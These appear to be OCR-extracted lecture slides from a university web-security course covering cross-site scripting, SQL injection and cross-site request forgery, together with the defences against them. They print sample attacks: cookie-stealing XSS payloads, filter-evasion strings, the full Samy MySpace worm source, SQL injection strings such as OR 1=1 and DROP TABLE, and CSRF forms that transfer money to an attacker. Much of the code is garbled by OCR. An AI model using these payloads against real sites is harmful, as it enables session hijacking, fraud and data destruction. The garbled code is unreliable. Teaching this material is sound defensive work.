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Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials ...
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Admin

* HW 2 due today
 Lab 2 out

— Highly recommend the readings on the course schedule

* Late Days +2
— This quarter is tough
— Max of 3 per assignment
— No late days for last final project deadline
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XSS Recap

<html> <title>Search results</title>
<body>You have searched for <?php echo $_GET[term] ?>... </body>
P ——

What if ”term” is <script>alert(document.cookie);</script> ?

G

<html> <title>Search results</t|tle>
<body>You have searched for <scr|pt>alert(document cookle),</scr|pt> . </body>

Fundamental issue: data interpreted as code.

Violates the spirit of the same-origin policy
(code is not really from the same origin).
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Preventing Cross-Site Scripting

* Any userinput and client-side data must be
preprocessed before itis used inside HTML

 Remove [ encode HTML special characters

— Use a good escaping library
* OWASP ESAPI (Enterprise Security API)
* Microsoft’s AntiXSS

— In PHP, htmlispecialchars(string) will replace all
special characters with their HTML codes

* ‘becomes &#039; “ becomes &quot; & becomes &amp;
— In ASP.NET, Server.HtmIEncode(string)

5/4/2018 CSE 484/ CSE M 584 - Spring 2020



Evading XSS Filters

* Preventing injection of scripts into HTML is hard!
— Blocking “<” and “>" is not enough
— Event handlers, stylesheets, encoded inputs (%30C), etc.
- ph_@?) allowed simple HTML tags like <b>

<bc=“>" onmouseover:“script” x="“<b ” sHello<b>
. - - )

* Beware of filter evasion tricks (XSS Cheat Sheet)

— If filter allows quoting (of <script>, etc.), beware of
malformed quoting: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">

— Long UTF-8 encoding
— Scripts are not only in <script>:

<iframe src=‘https://bank.com/login’ onload=steal()’>
ST
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https://[samy.pl/myspace/tech.html

MySpace Worm (1)

* Users can post HTML on their MySpace pages
* MySpace does not allow scripts in users’ HTML

— No <script>, <body>, onclick, <a href=javascript://>
* ... but does allow <div> tags for CSS.

— <div style="background:url( javascrpt:alert(1)’ )">

* But MySpace will strip out “javascript”
— Use “java<NEWLINE>script” instead

* But MySpace will strip out quotes

— Convert from decimal instead:
alert('double quote:' + String.fromCharCode(34))
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MySpace Worm (2)

Resulting code:

<div id=mycode style="BACKGROUND: url(‘java
script:eval(document.all. mycode.expr)')" expr="var B=String. fromCharCode(34);var A=String. fromCharCode(39);function g(){var C;try{var
D=document.body.create TextRange();C=D.htmlText} catch(e) {} if(C) {return C}else{return eval('document.body.inne'+'rHTML'")} } function
getData(AU){M=getFromURL(AU,'friendID'); L=getFromURL(AU,'Mytoken')} function getQueryParams(){var E=document.location.search;var
F=E.substring(1,E.length).split('&");var AS=new Array();for(var O=0;0<F.length;O++){var I=F[O].split('="); AS[I[0]]=][1]}return AS}var J;var
AS=getQueryParams();var L=AS['Mytoken'];var
M=AS['friendID'];if(location. hostname=="profile.myspace.com') {document. location="http ://www.myspace.com'+location.pathname+location.sear
chjelse {if(!M) {getData(g())} main()} function getClientFID() {return findIn(g(),'up_launchIC( '+A,A)} function nothing(){} function
paramsToString(AV){var N=new String();var O=0;for(var P in AV){if{O>0) {N+='&'} var Q=escape(AV[P]);while(Q.indexO f{'+")!=-
1){Q=Q.replace('+','%2B") } while(Q.indexO f{' &")!=-1) {Q=Q.replace(' &','%26") } N+=P+'="+Q;O++} return N} function
httpSend(BH,BI, BJ,BK){if(!J) {return false}eval('J. 0nr'+'eadystatechange BI');J.open(BJ,BH, true);if{ BJ=='"POST') {J.setRequestHeader('Content-
Type', 'apphcatlon/x-www form-urlencoded');J. setRequestHeader('Content-Length', BK. length)}J send(BK);return true} function
findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))} function
getHiddenParameter(BF,BG) {return findIn(BF,' name="+B+BG+B+' value="+B,B)} function getFromURL(BF,BG){var
T;ifiBG==Mytoken') {T=B}else {T='&'} var U=BG+'=";var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf{T);var
Y=W.substring(0, X);return Y }function getXMLODbj(){var Z=false;if(window.XMLHttpRequest) {try{Z=new
XMLHttpRequest()} catch(e){Z=false} } else iffwindow.Active XObject) {try{Z=new ActiveXObject('Msxml2. XMLHTTP')}catch(e){try{Z=new
ActiveXObject('Microsoft. XMLHTTP')} catch(e){Z=false} } } return Z}var AA=g();var AB=AA.ndexOf('m'+'ycode');var
AC=AA substring(AB,AB+4096);var AD=AC.indexOf{'D'+'TV");var AE=AC.substring(0,AD);var
AF;iflAE){ AE=AE.replace('jav'+'a’,A+'jav'+'a"); AE=AE.replace('exp'+'r)','exp'+'r)'+ A);AF=" but most of all, samy is my hero. <d'+'iv
id="+AE+'D'+'1V>"}var AG;function getHome(){if(J.readyState!=4){return} var
AU=].responseText; AG=findIn(AU,'P'+'rofileHeroes','</td>'); AG=AG. substring(6 1, AG.length);if(AG.indexO f{'samy')==-
1){ifAF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel'[="heroes'; AS['submit'[='"Preview'; AS['interest'|=AG;J=get XM LObj(); httpSend('/inde x. c fm? fuseaction=profile.pre viewl
nterests&Mytoken="+AR,postHero,'POST',params ToString(AS))} } } function postHero(){if{J.readyState!=4){return}var AU=J.responseText;var
AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel'[="heroes'; AS['submit'[='Submit';AS ['interest'|=AG; AS['hash']=getHiddenParameter (AU, hash"); httpSend('/index.c fm? fu
seacti0n=proﬁle.p rocessInterests&Mytoken="+AR,nothing, POST ,params ToString(AS))} function main(){var AN=getClientFID();var

H="/index.cfm? fuseaction=user.viewProfile& friendID="+AN+'&Mytok en="+L;J=getXM LODbj(); httpSend (BH, getHome,' GET'); xmlhttp2=getXM
LObJ() httpSend2('/index.cfm?fuseaction=invite.addfriend verify&friendID=11851658 &M ytoken="+L,processxForm 'GET')} function
processxForm() {if(xmlhttp2.readyState!=4){return} var AU=xmlhttp2.response Text;var AQ=getHiddenParameter(AU, hashcode');var
AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode'][=AQ;AS[ friendID']='11851658';AS['submit']='Add to
Friends';httpSend2 ('/index.cfm? fuseaction=invite.addFriendsProcess &Mytoken="+AR,nothing,' POST' ,params ToString( AS))} function
httpSend2{BH;BI, BJ, BK) {if(! xmlhttp2) {return CSE 484/ CSE M 584 - Spring 2020 7
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MySpace Worm (3)

“There were a few other complications and things to get around.
This was not by any means a straight forward process, and none of
this was meant to cause any damage or piss anyone off. This was in
the interest of..interest. It was interesting and fun!”

Started on “samy’ MySpace page

Everybody who visits an infected page, becomes
infected and adds “samy” as a friend and hero

5 hours later “samy’ has 1,005,831 friends §

SAMY IS MY HERO

— Was adding 1,000 friends
per second at its peak


https://samy.pl/myspace/tech.html
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Typical Login Prompt

2 User Login - Microsoft Internet Explorer

File Edit View Favorites Tools Help

@ Back ~ \J |x‘] lﬂ ‘h ;) Search

Enter User Name: smith

Enter Password: eessse

Login
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Typical Query Generation Code

$selecteduser = $_GET['user’];

—

$sql {"SELECT Username, Key FROM Key ".

&
"WHERE Username='fselecteduser"; 7 Gk
$rs = $db->executeQuery(s$sql); [ oheatt ‘323.(

What if ‘user’ is a malicious string that changes the
meaning of the query?
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User Input Becomes Part of Query

Enter SELECT passwd
Username FROM USERS
& WHERE uname
Web Password Web IS ‘Suser’
browser DB

server

v

(Client)

A

A




5/8/2020

Normal Login

Enter SELECT passwd

Username FROM USERS

& WHERE uname
Password IS “franzi’

CSE 484/ CSE M 584 - Spring 2019
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A User
File Edit View Favorites Tools Help

@ Back ~ | \_J D @ Search \_/\(Favorltes ﬁ‘\

Malicious User Input

Login - Microsoft Internet Explorer

Address

@ C:\LearnSecurity\hidden parameter examplelauthuser.html

Enter User Narfe: |, DROP TABLE USERS; =™ )

Enter Password: | eee _—

— I

_

Login

5/8/2020
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SQL Injection Attack

A

SELECT passwd
Enter FROM USERS
Username ’Mﬂmame\
) & < S ? YDROP TABLE >
We Password USERS; --’
browser e \_T . —— DB
(Client) server \ R

A

5/8/2020

Eliminates all user
accounts
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HI, THIS 1S

YOUR SON'S SCHOOL.

WERE HAVING SOME
COMPUTER TROUBLE.

\%m

5/8/2020

Exploits of a Mom

OH, DEAR - DID HE
BREAK SOMETHING?

IN AWAY /

S

DID YOU REALLY
NAME YOUR SON
Robert'); DROP
TABLE Students; -~ 7

~ OH.YES. UTTLE

BOBBY TARLES,

WE CALL HIM.

WELL, WEVE LOST THIS
YEARS STUDENT RECORDS.
I HOPE YOURE HAPPY.

{

AND I HOPE
- YOUVE LEARNED
L TOSANMIZE YOUR
DATARASE INPUTS.

http://xkcd.com/327/

CSE 484 [ CSE M 584 - Spring 2019

16



http://xkcd.com/327/

SQL Injection: Basic Idea

Victim server

ouS form

i\
Attacker (7)) post 2"

unintended
query

@ receive data from DB

* This is an input validation vulnerability
* Unsanitized user input in SQL query to back-end
database changes the meaning of query

* Special case of command injection

Victim SQL DB
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Authentication with Backend DB

Username

set UserFound = execute(

“SELECT * FROM UserTable WHERE —
a» 173 »” “ g
username= " & form( user ) &~ "AND
“‘)ﬂ\' £ ” * ” (11 ” : :
°\§t‘( password= & form("pwd’) & ") EEDY  sovoonor
L >

User supplies username and password, this SQL query checks if

user/password combinationis in the database

eudstfile
If not UserFound.EOF

o *
Authentication correct

Only true if the result of SQL
query is not empty, i.e.,

else Fail user/pwd is in the database

5/8/2020 CSE 484/ CSE M 584 - Spring 2019 18



Using SQL Injection to Log In

cormmet

Y

° I ) —
User gives username ’, OR 1=1

— °
* Web server executes query

set UserFound=execute(
SELECT * FROM UserTable WHERE

username=‘’ OR1=1--... );
A

Always true! Everything after - is ignored!

* Now all records match the query, so the result
is not empty = correct “authentication”!

5/8/2020 CSE 484/ CSE M 584 - Spring 2019
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Preventing SQL Injection

* Validate all inputs

— Filter out any character that has special meaning
* Apostrophes, semicolons, percent, hyphens, underscores, ...

* Use escape charactersto prevent special characters form
becoming part of the query code

— E.g.: escape(O’Connor) = O\’Connor

— Check the data type (e.g., input must be an integer)

5/8/2020 CSE 484/ CSE M 584 - Spring 2019

20



Prepared Statements

PreparedStatement ps =
db.prepareStatement("SELECT pizza, toppings, quantity, order_day "

+ "FROM orders WHERE userldE?AND order monthEz );
)

ps.setint(1, session.getCurrentUserld()

ps.setint(2, Integer.parselnt(request.getParamenter("month")));

ResultSet res = ps.executeQuery();
T — Bind variable (data

placeholder)

 Bindvariables: placeholders guaranteed to be data (not code)
* Queryis parsed without data parameters
* Bindvariables are typed (int, string, ...)

htto:/) docs/books/tutorialidbc/basics/ html
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http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.html

http://www.owasp.org

OWASP Top 10 Web Vulnerabilities

2. Broken Authentication & Session Management

3
4. Insecure Direct Object References

. Cross-Site Scripting

5. Security Misconfiguration

6. Sensitive Data Exposure

7. Missing Function Level Access Control
8. Cross-Site Request Forgery | &

9. Using Known Vulnerable Components
10. Unvalidated Redirects and Forwards
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http://www.owasp.org/

Cross-Site Request Forgery
(CSRF/XSRF)
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Cookie-Based Authentication Redux

Browser Server

— POST/login.cgi
\

—

enticator

set-cookie: auth
D —

S __
o i
(}*’M




Browser Sandbox Redux

* Based on the same origin policy (SOP)

 Active content (scripts) can send anywhere!
— For example, can submit a POST request
— Some ports inaccessible - e.g., SMTP (email)

* (Can only read response from the same origin
— ... but you can do a lot with just sending!

5/8/2020 CSE 484/ CSE M 584 - Spring 2019
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Cross-Site Request Forgery

9 mat \- Pm
* Users logs into bank.com, forgets to sign off

— Session cookie remains in browser state
[ ] [ ] QOM). (m [ ] [ ] [ ]
e User then visits a malicious website containin

__——

<form q29e=BillPayFormz(A' — |
action=http://bank.com/BillPay.php> i,—f/’—jl
T— . —

<input name=recipient value=badguy> .. T ="

D @@ /s D

<script> document.BillPayForm.submit(); </scripjx't ®
® . “
* Browser sends cookie, payment request fulflllegﬁﬁw»

e Lesson: cookie authentication is not sufficient *°
when side effects can happen
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Cookies in Forged Requests
premavsiy e heoted

Victim Browser ')

GET /blog HTTP/1.1

www.attacker.com www.bank.com

<form action=https://www.bank.com/transfe
®method=POST target=invisibleframe>
<input name=recipient value=attacker>
<input name=amount value=$100>
</form>
<script>document.forms[0].submit()</script1

T —

POST /transfer HTTP/1.1
Referer: http://www.attacker.com/blog

Dient=attacker&amou

Transfer complete!

User credentials automatically

sent by browser
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Impact

* Hijack any ongoing session (if no protection)
— Netflix: change account settings, Gmail: steal
contacts, Amazon: one-click purchase

* Reprogram the user’s home router
* Login to the attacker’s account
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XSRF True Story [aexstamos]

CyberVillians.com

Internet Exploder GET news.html -

cybervillians.com/i .html
www.cyberviliians.com/news.ntm HTML and JS
Bernanke Really an Alien?
HTML Form POSTs StockBroker.com

y no nwoo nwoo nwoo \ <
| [N (] 1 1 |

| [N} [N (] 1 |

[} 1 (] I [N} [}

| ! U N N

L____,_ L__.___ - Lb--- ;__ S watatle

ticker.stockbroker.com

I Java ‘
\&
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